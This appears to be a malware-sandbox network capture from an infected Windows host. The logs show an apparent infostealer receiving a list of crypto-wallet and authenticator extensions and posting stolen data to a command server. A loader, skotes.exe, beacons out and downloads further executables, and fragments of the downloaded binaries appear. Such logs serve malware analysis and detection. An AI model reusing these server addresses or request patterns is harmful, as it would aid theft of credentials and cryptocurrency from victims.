47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 16, 2024 15:02:27.107405901 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 16, 2024 15:02:27.107419014 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 16, 2024 15:02:27.107528925 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 16, 2024 15:02:27.107541084 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Dec 16, 2024 15:02:27.107553959 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Dec 16, 2024 15:02:27.115945101 CET	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Dec 16, 2024 15:02:27.120326996 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCFIDAKJDHIECBFCBKK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 2d 2d 0d 0a Data Ascii: ------DHCFIDAKJDHIECBFCBKKContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------DHCFIDAKJDHIECBFCBKKContent-Disposition: form-data; name="message"fplugins------DHCFIDAKJDHIECBFCBKK--
Dec 16, 2024 15:02:27.559850931 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 16, 2024 15:02:27.618262053 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDB Host: 185.215.113.206 Content-Length: 6403 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:02:27.618335962 CET	6403	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 16, 2024 15:02:28.708858013 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:02:29.020251036 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 15:02:29.457387924 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 16, 2024 15:02:29.457406998 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 16, 2024 15:02:29.461585045 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49913	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:24.958220005 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016128001&unit=246122658369
Dec 16, 2024 15:02:26.313349009 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49918	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:26.436948061 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 15:02:27.789633036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:27 GMT Content-Type: application/octet-stream Content-Length: 965632 Last-Modified: Mon, 16 Dec 2024 13:41:50 GMT Connection: keep-alive ETag: "67602e1e-ebc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0f 2e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL.`g"w@ @@@d\|@Pu4@.text `.rdata@@.datalpH@.rsrcP@R@@.relocuvF@B
Dec 16, 2024 15:02:27.789649963 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 16, 2024 15:02:27.789661884 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 16, 2024 15:02:27.789683104 CET	224	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Dec 16, 2024 15:02:27.789694071 CET	1236	IN	Data Raw: 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff 76 04 e8 da e7 01 00 59 8b 8f 08 fd ff ff 85 c9 0f 85 e3 0f 04 00 8b 8f Data Ascii: 04Y$<IvY-l\L_^[`t#05MI`
Dec 16, 2024 15:02:27.789706945 CET	1236	IN	Data Raw: 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 Data Ascii: ON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @u
Dec 16, 2024 15:02:27.789834976 CET	1236	IN	Data Raw: 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b Data Ascii: M3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+
Dec 16, 2024 15:02:27.789849043 CET	1236	IN	Data Raw: ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff Data Ascii: epEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]E
Dec 16, 2024 15:02:27.789863110 CET	1236	IN	Data Raw: 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff 6a 73 e9 6a 01 04 00 55 8b ec 83 ec Data Ascii: }u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,
Dec 16, 2024 15:02:27.789968014 CET	552	IN	Data Raw: 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be Data Ascii: QVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]Em
Dec 16, 2024 15:02:27.910844088 CET	1236	IN	Data Raw: e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b Data Ascii: f@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49933	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:32.069751024 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016129001&unit=246122658369
Dec 16, 2024 15:02:33.398821115 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49938	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:02:33.725455046 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 15:02:34.995079041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:02:34 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:18 GMT Connection: keep-alive ETag: "67602e3a-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:02:34.995100021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:34.995116949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:34.995187044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:02:34.995203972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
